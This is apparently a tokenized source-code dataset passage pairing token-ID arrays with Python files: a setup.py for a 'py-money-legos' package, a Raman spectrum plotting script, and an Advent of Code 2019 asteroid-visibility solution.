18884,
1583,
3032,
3258,
29918,
667,
29898,
667,
29897,
13,
13,
1678,
822,
903,
3258,
29918,
667,
29898,
1311,
29892,
6251,
1125,
13,
4706,
9995,
4391,
716,
4452,
297,
278,
8343,
13,
4706,
9995,
13,
4706,
716,
29918,
667,
353,
21236,
2001,
580,
13,
4706,
318,
333,
353,
6251,
1839,
5416,
2033,
13,
4706,
17927,
29889,
3888,
877,
9832,
1218,
2944,
1273,
29879,
29915,
1273,
318,
333,
29897,
13,
4706,
716,
29918,
667,
29889,
5504,
29918,
3166,
29918,
8269,
29898,
8269,
29897,
13,
4706,
396,
22615,
29901,
10575,
1024,
322,
3847,
367,
5181,
1244,
29973,
10575,
29876,
29915,
29873,
13,
4706,
396,
418,
278,
421,
1202,
29952,
1158,
437,
393,
363,
502,
29973,
13,
4706,
716,
29918,
667,
17255,
978,
1649,
353,
318,
333,
13,
4706,
716,
29918,
667,
17255,
3560,
1649,
353,
1583,
29889,
12366,
13,
4706,
1583,
29889,
12366,
29889,
1202,
29898,
5416,
29892,
716,
29918,
667,
29897,
13,
4706,
1583,
29889,
517,
29918,
2248,
29889,
4397,
29898,
1311,
29889,
12366,
29961,
5416,
2314,
13,
4706,
1583,
29889,
3258,
29918,
2798,
4619,
29871,
29896,
13,
13,
1678,
822,
903,
5504,
29918,
667,
29898,
1311,
29892,
6251,
1125,
13,
4706,
9995,
6422,
5923,
4452,
297,
278,
4833,
773,
1009,
501,
1367,
13,
4706,
9995,
13,
4706,
318,
333,
353,
6251,
1839,
5416,
2033,
13,
4706,
17927,
29889,
3888,
877,
3373,
26747,
2944,
1273,
29879,
29915,
1273,
318,
333,
29897,
13,
4706,
5446,
353,
1583,
29889,
12366,
29961,
5416,
29962,
13,
4706,
396,
22615,
29901,
1438,
9455,
29915,
29873,
6421,
515,
278,
1203,
29889,
3750,
338,
393,
29973,
1317,
13,
4706,
396,
418,
278,
421,
1202,
29952,
1158,
373,
278,
4138,
451,
4444,
963,
29973,
13,
4706,
5446,
17255,
978,
1649,
353,
318,
333,
13,
4706,
5446,
17255,
3560,
1649,
353,
1583,
29889,
12366,
13,
4706,
4629,
29918,
272,
29918,
12366,
353,
313,
13,
9651,
525,
8391,
29915,
297,
6251,
1839,
18798,
29918,
2324,
2033,
470,
13,
9651,
525,
12366,
29915,
297,
6251,
1839,
18798,
29918,
2324,
2033,
13,
4706,
1723,
13,
4706,
565,
4629,
29918,
272,
29918,
12366,
322,
756,
5552,
29898,
5415,
29892,
525,
311,
1026,
291,
29918,
1853,
29374,
13,
9651,
3349,
29918,
311,
22742,
29918,
4882,
29898,
5416,
29892,
1583,
29889,
12366,
29892,
1583,
29889,
2929,
29878,
29897,
13,
4706,
5446,
29889,
5504,
29918,
3166,
29918,
8269,
29898,
8269,
29897,
13,
4706,
1583,
29889,
517,
29918,
2248,
29889,
4397,
29898,
5415,
29897,
13,
4706,
1583,
29889,
5504,
29918,
2798,
4619,
29871,
29896,
13,
13,
1678,
822,
903,
5504,
29918,
2248,
29898,
1311,
1125,
13,
4706,
9995,
29907,
14044,
701,
278,
2944,
21503,
4314,
304,
1712,
871,
4452,
393,
13,
4706,
526,
2854,
322,
3638,
963,
975,
304,
4956,
29878,
363,
26190,
29889,
13,
13,
4706,
6058,
29923,
29901,
4956,
29878,
1122,
1059,
714,
373,
2380,
565,
372,
20586,
263,
1746,
372,
338,
13,
795,
451,
9543,
310,
29889,
1334,
881,
1735,
445,
775,
304,
1106,
701,
278,
13,
795,
4956,
29878,
10938,
29892,
322,
3349,
8393,
393,
372,
1838,
29915,
29873,
1073,
29892,
13,
795,
763,
4770,
978,
1649,
322,
4770,
3560,
1649,
2400,
29889,
13,
4706,
9995,
13,
4706,
17927,
29889,
8382,
877,
3373,
26747,
2380,
363,
1273,
29879,
3618,
29915,
1273,
7431,
29898,
1311,
29889,
517,
29918,
2248,
876,
13,
4706,
5941,
287,
353,
5159,
13,
4706,
17262,
29918,
5552,
29879,
353,
518,
13,
9651,
525,
1649,
978,
1649,
742,
13,
9651,
525,
1649,
3560,
1649,
742,
13,
9651,
525,
311,
1026,
291,
29918,
1853,
742,
13,
4706,
4514,
13,
4706,
363,
2944,
297,
1583,
29889,
517,
29918,
2248,
29901,
13,
9651,
2944,
29918,
8977,
353,
3509,
29889,
24535,
8552,
29898,
667,
17255,
8977,
1649,
29897,
13,
9651,
565,
525,
2111,
2164,
29915,
297,
2944,
29918,
8977,
29901,
13,
18884,
565,
756,
5552,
29898,
667,
29918,
8977,
1839,
2111,
2164,
7464,
525,
10718,
4830,
29374,
13,
462,
1678,
878,
29918,
1256,
353,
2944,
29918,
8977,
1839,
2111,
2164,
13359,
10718,
4830,
580,
13,
18884,
1683,
29901,
13,
462,
1678,
878,
29918,
1256,
353,
2944,
29918,
8977,
1839,
2111,
2164,
2033,
13,
18884,
396,
8561,
1854,
278,
2635,
338,
22691,
304,
4956,
29878,
29892,
17820,
1283,
13,
18884,
396,
278,
718,
29900,
29900,
29901,
29900,
29900,
322,
5191,
372,
411,
263,
796,
13,
18884,
2944,
29918,
8977,
1839,
2111,
2164,
2033,
353,
11860,
29879,
29999,
29908,
1273,
878,
29918,
1256,
7503,
29899,
29953,
29962,
13,
9651,
565,
525,
3051,
29915,
297,
2944,
29918,
8977,
29901,
13,
18884,
4452,
353,
518,
667,
1839,
1767,
2033,
363,
2944,
297,
2944,
29918,
8977,
1839,
3051,
2033,
29962,
13,
18884,
565,
4452,
29901,
13,
462,
1678,
396,
22615,
29901,
671,
937,
2793,
2944,
29892,
2313,
538,
278,
1791,
13,
462,
1678,
2944,
29918,
8977,
1839,
3051,
2033,
353,
4452,
29961,
29900,
29962,
13,
9651,
2944,
29918,
8977,
1839,
5416,
2033,
353,
2944,
29918,
8977,
1839,
1649,
978,
1649,
2033,
13,
9651,
396,
22615,
29901,
20768,
304,
1106,
701,
278,
10938,
29892,
769,
6623,
278,
9657,
13,
9651,
396,
418,
2729,
373,
393,
29889,
13,
9651,
363,
12421,
297,
17262,
29918,
5552,
29879,
29901,
13,
18884,
2944,
29918,
8977,
29889,
7323,
29898,
5552,
29892,
27255,
13,
9651,
5941,
287,
29889,
4397,
29898,
667,
29918,
8977,
29897,
13,
4706,
396,
22615,
29901,
20768,
304,
4386,
4956,
29878,
4436,
1244,
13,
4706,
2933,
353,
1583,
29889,
2929,
29878,
29889,
5504,
29898,
14941,
287,
29897,
13,
4706,
736,
2933,
13,
13,
13,
1753,
2767,
29918,
311,
1026,
1080,
29898,
4703,
29892,
2009,
1125,
13,
1678,
9995,
24131,
263,
501,
1367,
515,
278,
2009,
24987,
322,
3349,
278,
6942,
13,
1678,
1203,
515,
278,
11132,
8343,
29889,
13,
1678,
9995,
13,
1678,
318,
333,
353,
2009,
29889,
5438,
29889,
657,
877,
5416,
1495,
13,
1678,
565,
451,
318,
333,
29901,
13,
4706,
736,
13,
1678,
899,
29878,
29918,
5338,
353,
2009,
29889,
1727,
6020,
29889,
11027,
29889,
657,
877,
5910,
29889,
2929,
29878,
29918,
5338,
742,
6213,
29897,
13,
1678,
565,
899,
29878,
29918,
5338,
338,
6213,
29901,
13,
4706,
12020,
23833,
2392,
29898,
29884,
29915,
29909,
5503,
29889,
2929,
29878,
29918,
5338,
338,
3734,
1495,
13,
1678,
515,
590,
2929,
29878,
1053,
4956,
29878,
13,
1678,
899,
29878,
353,
4956,
29878,
29898,
2929,
29878,
29918,
5338,
29897,
13,
1678,
17927,
29889,
8382,
877,
15941,
11132,
4660,
1495,
13,
1678,
3349,
29918,
311,
22742,
29918,
4882,
29898,
5416,
29892,
3030,
29889,
12366,
29892,
899,
29878,
29897,
13,
1678,
736,
7331,
20434,
29898,
2587,
543,
2001,
694,
5520,
10902,
408,
11132,
1159,
13,
13,
13,
1753,
5217,
29918,
7076,
29898,
4703,
29892,
2009,
1125,
13,
1678,
9995,
12498,
278,
2183,
4452,
515,
278,
2380,
13,
1678,
9995,
13,
1678,
396,
960,
278,
2009,
3508,
29915,
29873,
385,
390,
1799,
8343,
29892,
289,
737,
714,
13,
1678,
565,
2009,
29889,
3051,
29918,
1853,
451,
297,
15149,
9806,
3352,
29918,
22412,
3919,
29901,
13,
4706,
3573,
29918,
7645,
353,
313,
13,
9651,
376,
1576,
2793,
29899,
1853,
310,
278,
2009,
1818,
367,
697,
310,
278,
376,
13,
9651,
376,
23031,
292,
29901,
1273,
29879,
29908,
13,
4706,
1723,
1273,
9162,
11393,
7122,
29898,
1964,
27998,
3352,
29918,
22412,
3919,
29897,
13,
4706,
736,
7331,
22050,
3089,
29898,
2587,
29922,
2587,
29918,
7645,
29897,
13,
1678,
899,
29878,
29918,
5338,
353,
2009,
29889,
1727,
6020,
29889,
11027,
29889,
657,
877,
5910,
29889,
2929,
29878,
29918,
5338,
742,
6213,
29897,
13,
1678,
565,
899,
29878,
29918,
5338,
338,
6213,
29901,
13,
4706,
12020,
23833,
2392,
29898,
29884,
29915,
29909,
5503,
29889,
2929,
29878,
29918,
5338,
338,
3734,
1495,
13,
1678,
396,
22615,
29901,
1334,
526,
28348,
899,
29878,
1244,
304,
367,
2221,
304,
11187,
372,
297,
278,
6987,
13,
1678,
515,
590,
2929,
29878,
1053,
4956,
29878,
13,
1678,
899,
29878,
353,
4956,
29878,
29898,
2929,
29878,
29918,
5338,
29897,
13,
1678,
7258,
29918,
3051,
353,
8343,
16680,
29889,
5510,
29898,
3827,
29889,
2587,
29897,
13,
1678,
4567,
353,
5159,
13,
1678,
6206,
353,
29871,
29900,
13,
1678,
363,
2944,
297,
7258,
29918,
3051,
29889,
26586,
29901,
13,
4706,
318,
333,
353,
2944,
1839,
333,
2033,
13,
4706,
318,
333,
353,
4226,
675,
29918,
5416,
29898,
5416,
29897,
13,
4706,
17927,
29889,
8382,
877,
2772,
1026,
292,
1273,
29879,
29915,
1273,
318,
333,
29897,
13,
4706,
565,
318,
333,
451,
297,
3030,
29889,
12366,
29901,
13,
9651,
4567,
29889,
4397,
29898,
5416,
29897,
13,
9651,
899,
29878,
29889,
8143,
29918,
1609,
29918,
1989,
29898,
5416,
29897,
13,
9651,
6773,
13,
4706,
628,
3030,
29889,
12366,
29961,
5416,
29962,
13,
4706,
899,
29878,
29889,
8143,
29918,
1609,
29918,
1989,
29898,
5416,
29897,
13,
4706,
6206,
4619,
29871,
29896,
13,
1678,
3573,
29918,
7645,
353,
376,
7301,
8238,
1273,
29879,
4452,
1213,
1273,
6206,
13,
1678,
565,
4567,
29901,
13,
4706,
10191,
29918,
710,
353,
376,
1273,
29879,
4452,
1033,
451,
367,
1476,
363,
7374,
291,
29901,
1273,
29879,
29908,
13,
4706,
6389,
353,
313,
2435,
29898,
27259,
511,
13420,
15300,
7122,
29898,
27259,
876,
13,
4706,
10191,
353,
10191,
29918,
710,
1273,
6389,
13,
4706,
17927,
29889,
25442,
29898,
7645,
29897,
13,
4706,
3573,
29918,
7645,
4619,
10191,
13,
1678,
736,
7331,
20434,
29898,
2587,
29922,
2587,
29918,
7645,
29897,
13,
13,
13,
1753,
14405,
29918,
26586,
29898,
7611,
29892,
8343,
29918,
978,
1125,
13,
1678,
9995,
1523,
29890,
1475,
599,
1238,
5779,
310,
263,
2183,
1134,
313,
29872,
29889,
29887,
29889,
21236,
29892,
22012,
29897,
13,
1678,
9995,
13,
1678,
17927,
29889,
8382,
877,
1523,
2109,
292,
9976,
363,
1273,
29879,
29915,
1273,
8343,
29918,
978,
29897,
13,
1678,
565,
8343,
29918,
978,
1275,
525,
311,
22742,
2396,
13,
4706,
2582,
353,
518,
8269,
363,
6251,
297,
5639,
29889,
5975,
580,
13,
462,
259,
565,
8343,
29918,
978,
297,
6251,
29889,
18798,
29918,
1853,
29962,
13,
1678,
1683,
29901,
13,
4706,
2582,
353,
5159,
13,
4706,
363,
6251,
297,
5639,
29889,
5975,
7295,
13,
9651,
8343,
29918,
1853,
353,
6251,
29889,
18798,
29918,
1853,
13,
9651,
8343,
29918,
4352,
353,
8343,
29918,
978,
297,
8343,
29918,
1853,
13,
9651,
4682,
29918,
6144,
353,
313,
13,
18884,
525,
311,
22742,
29915,
297,
8343,
29918,
1853,
322,
13,
18884,
6251,
29889,
311,
1026,
291,
29918,
1853,
1275,
525,
14394,
29881,
29915,
13,
9651,
1723,
13,
9651,
565,
451,
8343,
29918,
4352,
470,
313,
18798,
29918,
4352,
322,
4682,
29918,
6144,
1125,
13,
18884,
6773,
13,
9651,
2582,
29889,
4397,
29898,
8269,
29897,
13,
1678,
2582,
29889,
6605,
29898,
1989,
29922,
2892,
921,
29901,
921,
29889,
2111,
2164,
29892,
11837,
29922,
5574,
29897,
13,
1678,
736,
2582,
13,
13,
13,
1753,
1653,
29918,
18798,
29898,
26586,
29892,
3611,
29892,
1544,
29892,
6139,
1125,
13,
1678,
9995,
1523,
26062,
278,
9976,
964,
385,
3935,
2180,
290,
8343,
1213,
15945,
13,
1678,
716,
29918,
18798,
353,
2180,
290,
29896,
29737,
29898,
13,
4706,
3611,
29922,
3257,
29892,
13,
4706,
1544,
29922,
2324,
29892,
13,
4706,
6139,
29922,
8216,
29892,
13,
1678,
1723,
13,
1678,
363,
6251,
297,
9976,
29901,
13,
4706,
848,
353,
9657,
29898,
13,
9651,
2529,
1256,
29922,
8269,
29889,
2111,
2164,
29892,
13,
9651,
5412,
29918,
333,
2433,
595,
29901,
29879,
29891,
299,
293,
362,
16664,
29879,
29915,
1273,
6251,
17255,
978,
1649,
29892,
13,
9651,
13997,
29922,
8269,
29889,
20622,
29892,
13,
9651,
7663,
3790,
29915,
8489,
2396,
6251,
29889,
10900,
29892,
525,
1643,
2396,
318,
29915,
17033,
18527,
16675,
13,
9651,
4148,
29918,
978,
29922,
8269,
29889,
9832,
1061,
29892,
13,
4706,
1723,
13,
4706,
848,
1839,
5910,
29901,
25089,
29918,
1853,
2033,
353,
6251,
29889,
25089,
29918,
1853,
13,
4706,
396,
323,
488,
23942,
526,
2715,
964,
697,
1543,
363,
1286,
13,
4706,
848,
1839,
5910,
29901,
29873,
488,
29918,
26045,
2033,
353,
525,
29989,
4286,
7122,
29898,
8269,
29889,
29873,
488,
29918,
26045,
467,
29880,
17010,
877,
29989,
1495,
13,
4706,
848,
1839,
5910,
29901,
311,
22742,
29918,
29873,
488,
29918,
26045,
2033,
353,
525,
29989,
4286,
7122,
29898,
13,
9651,
6251,
29889,
311,
22742,
29918,
29873,
488,
29918,
26045,
467,
29880,
17010,
877,
29989,
1495,
13,
4706,
565,
679,
5552,
29898,
8269,
29892,
525,
3051,
742,
6213,
1125,
13,
9651,
848,
1839,
3051,
2033,
353,
6251,
29889,
3051,
13,
4706,
565,
756,
5552,
29898,
8269,
29892,
525,
311,
1026,
291,
29918,
1853,
29374,
13,
9651,
848,
1839,
5910,
29901,
311,
1026,
291,
29918,
1853,
2033,
353,
6251,
29889,
311,
1026,
291,
29918,
1853,
13,
4706,
716,
29918,
18798,
29889,
1202,
29918,
667,
29898,
13,
9651,
6251,
29889,
7030,
29892,
13,
9651,
6251,
29889,
2271,
29892,
13,
9651,
6251,
29889,
9868,
29892,
13,
9651,
3579,
1272,
13,
4706,
1723,
13,
1678,
736,
716,
29918,
18798,
29889,
3539,
1231,
877,
9420,
29899,
29947,
1495,
13,
13,
13,
1753,
5534,
29918,
12366,
29898,
4703,
29892,
2009,
1125,
13,
1678,
9976,
353,
14405,
29918,
26586,
29898,
4703,
29889,
12366,
29892,
525,
12366,
1495,
13,
1678,
736,
13291,
29898,
3258,
29918,
18798,
29898,
26586,
29892,
13,
462,
539,
525,
3596,
21236,
4284,
2722,
742,
13,
462,
539,
5782,
29918,
2271,
877,
12366,
742,
2009,
511,
13,
462,
539,
525,
29909,
12420,
8343,
310,
599,
9976,
7258,
304,
278,
12129,
7068,
14533,
6169,
13,
268,
876,
13,
13,
13,
1753,
5534,
29918,
8391,
29898,
4703,
29892,
2009,
1125,
13,
1678,
9976,
353,
14405,
29918,
26586,
29898,
4703,
29889,
12366,
29892,
525,
8391,
1495,
13,
1678,
736,
13291,
29898,
3258,
29918,
18798,
29898,
26586,
29892,
13,
462,
539,
525,
3596,
22012,
4284,
2722,
742,
13,
462,
539,
5782,
29918,
2271,
877,
8391,
742,
2009,
511,
13,
462,
539,
525,
29909,
12420,
8343,
310,
599,
9976,
4629,
4822,
525,
13,
462,
539,
525,
1552,
12129,
7068,
14533,
6169,
13,
268,
876,
13,
13,
13,
1753,
5534,
29918,
311,
22742,
29898,
4703,
29892,
2009,
1125,
13,
1678,
9976,
353,
14405,
29918,
26586,
29898,
4703,
29889,
12366,
29892,
525,
311,
22742,
1495,
13,
1678,
736,
13291,
29898,
3258,
29918,
18798,
29898,
26586,
29892,
13,
462,
539,
525,
3596,
897,
22742,
4284,
2722,
742,
13,
462,
539,
5782,
29918,
2271,
877,
311,
22742,
742,
2009,
511,
13,
462,
539,
525,
29909,
12420,
8343,
310,
599,
9976,
393,
892,
11132,
525,
13,
462,
539,
525,
4822,
278,
12129,
7068,
14533,
6169,
13,
268,
876,
13,
2
] |
setup.py | gokhanbaydar/py-money-legos | 3 | 56904 | import setuptools
import os
def get_files_in_dir(dirName):
listOfFile = os.listdir(dirName)
completeFileList = list()
for file in listOfFile:
completePath = os.path.join(dirName, file)
if os.path.isdir(completePath):
completeFileList = completeFileList + get_files_in_dir(completePath)
else:
completeFileList.append(completePath)
return completeFileList
def find_json_files():
json_files = []
files = get_files_in_dir(".")
for file in files:
root, extension = os.path.splitext(file)
if extension == ".json":
json_files.append(file)
return json_files
with open("MANIFEST.in", "w") as mfs:
for file in find_json_files():
mfs.write("include " + file + "\n")
with open("README.md", "r", encoding="utf-8") as fh:
long_description = fh.read()
setuptools.setup(
name="py-money-legos",
version="0.1.1",
author="<NAME>",
author_email="<EMAIL>",
description="money-legos for Python",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/gokhanbaydar/py-money-legos",
packages=setuptools.find_packages(),
include_package_data=True,
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
python_requires=">=3.6",
) | [
1,
1053,
731,
21245,
8789,
13,
5215,
2897,
13,
13,
13,
1753,
679,
29918,
5325,
29918,
262,
29918,
3972,
29898,
3972,
1170,
1125,
13,
1678,
1051,
2776,
2283,
353,
2897,
29889,
1761,
3972,
29898,
3972,
1170,
29897,
13,
1678,
4866,
2283,
1293,
353,
1051,
580,
13,
1678,
363,
934,
297,
1051,
2776,
2283,
29901,
13,
4706,
4866,
2605,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3972,
1170,
29892,
934,
29897,
13,
4706,
565,
2897,
29889,
2084,
29889,
275,
3972,
29898,
8835,
2605,
1125,
13,
9651,
4866,
2283,
1293,
353,
4866,
2283,
1293,
718,
679,
29918,
5325,
29918,
262,
29918,
3972,
29898,
8835,
2605,
29897,
13,
4706,
1683,
29901,
13,
9651,
4866,
2283,
1293,
29889,
4397,
29898,
8835,
2605,
29897,
13,
1678,
736,
4866,
2283,
1293,
13,
13,
13,
1753,
1284,
29918,
3126,
29918,
5325,
7295,
13,
1678,
4390,
29918,
5325,
353,
5159,
13,
1678,
2066,
353,
679,
29918,
5325,
29918,
262,
29918,
3972,
17350,
1159,
13,
1678,
363,
934,
297,
2066,
29901,
13,
4706,
3876,
29892,
6081,
353,
2897,
29889,
2084,
29889,
23579,
568,
486,
29898,
1445,
29897,
13,
4706,
565,
6081,
1275,
11393,
3126,
1115,
13,
9651,
4390,
29918,
5325,
29889,
4397,
29898,
1445,
29897,
13,
1678,
736,
4390,
29918,
5325,
13,
13,
13,
2541,
1722,
703,
27616,
6545,
29923,
1254,
29889,
262,
613,
376,
29893,
1159,
408,
286,
5847,
29901,
13,
1678,
363,
934,
297,
1284,
29918,
3126,
29918,
5325,
7295,
13,
4706,
286,
5847,
29889,
3539,
703,
2856,
376,
718,
934,
718,
6634,
29876,
1159,
13,
13,
2541,
1722,
703,
16310,
2303,
29889,
3487,
613,
376,
29878,
613,
8025,
543,
9420,
29899,
29947,
1159,
408,
285,
29882,
29901,
13,
1678,
1472,
29918,
8216,
353,
285,
29882,
29889,
949,
580,
13,
13,
13,
842,
21245,
8789,
29889,
14669,
29898,
13,
1678,
1024,
543,
2272,
29899,
29885,
4992,
29899,
1397,
359,
613,
13,
1678,
1873,
543,
29900,
29889,
29896,
29889,
29896,
613,
13,
1678,
4148,
543,
29966,
5813,
28341,
13,
1678,
4148,
29918,
5269,
543,
29966,
26862,
6227,
28341,
13,
1678,
6139,
543,
29885,
4992,
29899,
1397,
359,
363,
5132,
613,
13,
1678,
1472,
29918,
8216,
29922,
5426,
29918,
8216,
29892,
13,
1678,
1472,
29918,
8216,
29918,
3051,
29918,
1853,
543,
726,
29914,
3502,
3204,
613,
13,
1678,
3142,
543,
991,
597,
3292,
29889,
510,
29914,
29887,
554,
5403,
27495,
16702,
29914,
2272,
29899,
29885,
4992,
29899,
1397,
359,
613,
13,
1678,
9741,
29922,
842,
21245,
8789,
29889,
2886,
29918,
8318,
3285,
13,
1678,
3160,
29918,
5113,
29918,
1272,
29922,
5574,
29892,
13,
1678,
770,
14903,
11759,
13,
4706,
376,
9283,
4056,
17088,
4761,
5132,
4761,
29871,
29941,
613,
13,
4706,
376,
29931,
293,
1947,
4761,
438,
5425,
28268,
1490,
4761,
341,
1806,
19245,
613,
13,
4706,
376,
7094,
1218,
2184,
4761,
6570,
25266,
613,
13,
1678,
21251,
13,
1678,
3017,
29918,
276,
339,
2658,
543,
18572,
29941,
29889,
29953,
613,
13,
29897,
2
] |
methods/autoplot.py | cndaqiang/raman_spectrum_analysis | 8 | 192585 | from ramanspectrum import *
import sys
"""
Run python 'autoplot.py labels.txt'. Creates simple plots of the spectra.
"""
label = sys.argv[1]
with open('labels.txt', 'r') as file:
labels = file.readlines()
for i in range(len(labels)):
labels[i] = labels[i].rstrip()
for label in labels:
label = label.split(r'\n')[0]
spec = ramanspectrum(data_file = label + '/data_' + label + '.txt',label = label)
plt.clf()
plt.plot(spec.x, spec.y, 'b-')
plt.xlim(self.x[0], 550)
plt.savefig(label + '/simpleplot_' + label + '.pdf')
| [
1,
515,
13472,
550,
1103,
5848,
1053,
334,
13,
5215,
10876,
13,
13,
15945,
29908,
13,
6558,
3017,
525,
1300,
459,
8276,
29889,
2272,
11073,
29889,
3945,
4286,
6760,
1078,
2560,
24580,
310,
278,
6683,
336,
29889,
13,
15945,
29908,
13,
13,
1643,
353,
10876,
29889,
19218,
29961,
29896,
29962,
13,
2541,
1722,
877,
21134,
29889,
3945,
742,
525,
29878,
1495,
408,
934,
29901,
13,
12,
21134,
353,
934,
29889,
949,
9012,
580,
13,
1454,
474,
297,
3464,
29898,
2435,
29898,
21134,
22164,
13,
12,
21134,
29961,
29875,
29962,
353,
11073,
29961,
29875,
1822,
29878,
17010,
580,
13,
13,
1454,
3858,
297,
11073,
29901,
13,
12,
1643,
353,
3858,
29889,
5451,
29898,
29878,
12764,
29876,
29861,
29900,
29962,
13,
12,
6550,
353,
13472,
550,
1103,
5848,
29898,
1272,
29918,
1445,
353,
3858,
718,
8207,
1272,
29918,
29915,
718,
3858,
718,
15300,
3945,
742,
1643,
353,
3858,
29897,
13,
12,
572,
29873,
29889,
695,
29888,
580,
13,
12,
572,
29873,
29889,
5317,
29898,
6550,
29889,
29916,
29892,
1580,
29889,
29891,
29892,
525,
29890,
29899,
1495,
13,
12,
572,
29873,
29889,
29916,
2576,
29898,
1311,
29889,
29916,
29961,
29900,
1402,
29871,
29945,
29945,
29900,
29897,
13,
12,
572,
29873,
29889,
7620,
1003,
29898,
1643,
718,
8207,
12857,
5317,
29918,
29915,
718,
3858,
718,
15300,
5140,
1495,
13,
2
] |
2019/python/day10.py | dsvensson/advent-of-code | 0 | 163698 | <filename>2019/python/day10.py
from collections import defaultdict
t = """
.#..#
.....
#####
....#
...##
""".strip()
t = open("../data/day10.input").read()
t = t.split("\n")
astroids = []
for y, row in enumerate(t):
for x, col in enumerate(row):
if col == "#":
astroids.append((y,x))
def line(p1, p2):
"Bresenham's line algorithm"
x1, y1 = p1
x2, y2 = p2
m_new = 2 * (y2 - y1)
slope_error_new = m_new - (x2 - x1)
y=y1
r = []
for x in range(x1,x2+1):
r.append((x,y))
# Add slope to increment angle formed
slope_error_new =slope_error_new + m_new
# Slope error reached limit, time to
# increment y and update slope error.
if (slope_error_new >= 0):
y=y+1
slope_error_new =slope_error_new - 2 * (x2 - x1)
return r
def find(p1, p2, aset):
possible = aset - set([p1, p2])
while True:
lpos = len(possible)
possible2 = possible.copy()
for p3 in possible:
v1 = numpy.cross(p2, p1)
v2 = numpy.cross(p3, p1)
v3 = numpy.cross(p3, p2)
if numpy.dot(v2,v1) > 0 and numpy.dot(v3,v1) < 0:
possible2.remove(p3)
if len(possible) == len(possible2) or len(possible2) == 0:
break
possible = possible2
print(p1, p2, len(possible2), possible2)
return possible2
res = defaultdict(int)
astroids = set(astroids)
p1,p2,p3 = [(0,0),(1,1),(2,2)]
"""
for p1 in astroids:
taken = set([])
for p2 in astroids:
for p3 in astroids:
"""
import math
def foo(p1, p2, p3):
dxc = p3[1] - p1[1]
dyc = p3[0] - p1[0]
dxl = p2[1] - p1[1]
dyl = p2[0] - p1[0]
cross = dxc * dyl - dyc * dxl
if cross != 0:
return False
if (math.fabs(dxl) >= math.fabs(dyl)):
if dxl > 0:
return p1[1] <= p3[1] and p3[1] <= p2[1]
return p2[1] <= p3[1] and p3[1] <= p1[1]
else:
if dyl > 0:
return p1[0] <= p3[0] and p3[0] <= p2[0]
return p2[0] <= p3[0] and p3[0] <= p1[0]
"""
res = defaultdict(int)
for p1 in astroids:
tot = 0
for p2 in astroids:
if p2 == p1:
continue
found = False
for p3 in astroids:
if p3 in (p1, p2):
continue
if foo(p1,p2,p3):
found = True
if not found:
tot += 1
res[p1] = tot
for k,v in res.items():
print(k, "->", v)
print(foo(p1,p2,p2))
print(max(res.values()))
"""
p1 = (28, 22)
astroids.remove(p1)
max_x = max(x for y,x in astroids)+1
max_y = max(y for y,x in astroids)+1
found_max = 0
import operator
def scan(p, ast, cand, ordr):
for p3 in cand:
hidden = False
for p4 in cand:
if p3 == p4:
continue
if foo(p, p3, p4):
hidden = True
if not hidden:
ordr.append(p3)
ast.remove(p3)
print("removed")
order = []
while len(astroids) > 0:
print(len(astroids), len(order))
for x in range(max_x):
p2 = (0, x)
candidates = []
for p3 in astroids:
if foo(p1,p2,p3):
candidates.append(p3)
scan(p1, astroids, candidates, order)
for y in range(max_y):
p2 = (y, max_x-1)
candidates = []
for p3 in astroids:
if foo(p1,p2,p3):
candidates.append(p3)
scan(p1, astroids, candidates, order)
for x in range(max_x):
p2 = (max_y-1, max_x - x - 1)
candidates = []
for p3 in astroids:
if foo(p1,p2,p3):
candidates.append(p3)
scan(p1, astroids, candidates, order)
for y in range(max_y):
p2 = (max_y - y - 1, 0)
candidates = []
for p3 in astroids:
if foo(p1,p2,p3):
candidates.append(p3)
scan(p1, astroids, candidates, order)
print(order[200-1])
| [
1,
529,
9507,
29958,
29906,
29900,
29896,
29929,
29914,
4691,
29914,
3250,
29896,
29900,
29889,
2272,
13,
3166,
16250,
1053,
2322,
8977,
13,
29873,
353,
9995,
13,
29889,
29937,
636,
29937,
13,
18598,
13,
4136,
29937,
13,
3045,
29937,
13,
856,
2277,
13,
15945,
1642,
17010,
580,
13,
13,
29873,
353,
1722,
703,
6995,
1272,
29914,
3250,
29896,
29900,
29889,
2080,
2564,
949,
580,
13,
13,
29873,
353,
260,
29889,
5451,
14182,
29876,
1159,
13,
13,
579,
1007,
29879,
353,
5159,
13,
1454,
343,
29892,
1948,
297,
26985,
29898,
29873,
1125,
13,
1678,
363,
921,
29892,
784,
297,
26985,
29898,
798,
1125,
13,
4706,
565,
784,
1275,
12305,
1115,
13,
9651,
8717,
1007,
29879,
29889,
4397,
3552,
29891,
29892,
29916,
876,
13,
13,
1753,
1196,
29898,
29886,
29896,
29892,
282,
29906,
1125,
13,
1678,
376,
29933,
690,
264,
3391,
29915,
29879,
1196,
5687,
29908,
13,
1678,
921,
29896,
29892,
343,
29896,
353,
282,
29896,
13,
1678,
921,
29906,
29892,
343,
29906,
353,
282,
29906,
13,
13,
1678,
286,
29918,
1482,
353,
29871,
29906,
334,
313,
29891,
29906,
448,
343,
29896,
29897,
13,
1678,
24968,
29918,
2704,
29918,
1482,
353,
286,
29918,
1482,
448,
313,
29916,
29906,
448,
921,
29896,
29897,
13,
13,
1678,
343,
29922,
29891,
29896,
13,
1678,
364,
353,
5159,
13,
1678,
363,
921,
297,
3464,
29898,
29916,
29896,
29892,
29916,
29906,
29974,
29896,
1125,
13,
4706,
364,
29889,
4397,
3552,
29916,
29892,
29891,
876,
13,
13,
4706,
396,
3462,
24968,
304,
11924,
10696,
8429,
13,
4706,
24968,
29918,
2704,
29918,
1482,
353,
29879,
417,
412,
29918,
2704,
29918,
1482,
718,
286,
29918,
1482,
13,
13,
4706,
396,
16275,
412,
1059,
7450,
4046,
29892,
931,
304,
13,
4706,
396,
11924,
343,
322,
2767,
24968,
1059,
29889,
13,
4706,
565,
313,
29879,
417,
412,
29918,
2704,
29918,
1482,
6736,
29871,
29900,
1125,
13,
9651,
343,
29922,
29891,
29974,
29896,
13,
9651,
24968,
29918,
2704,
29918,
1482,
353,
29879,
417,
412,
29918,
2704,
29918,
1482,
448,
29871,
29906,
334,
313,
29916,
29906,
448,
921,
29896,
29897,
13,
1678,
736,
364,
13,
13,
1753,
1284,
29898,
29886,
29896,
29892,
282,
29906,
29892,
408,
300,
1125,
13,
1678,
1950,
353,
408,
300,
448,
731,
4197,
29886,
29896,
29892,
282,
29906,
2314,
13,
1678,
1550,
5852,
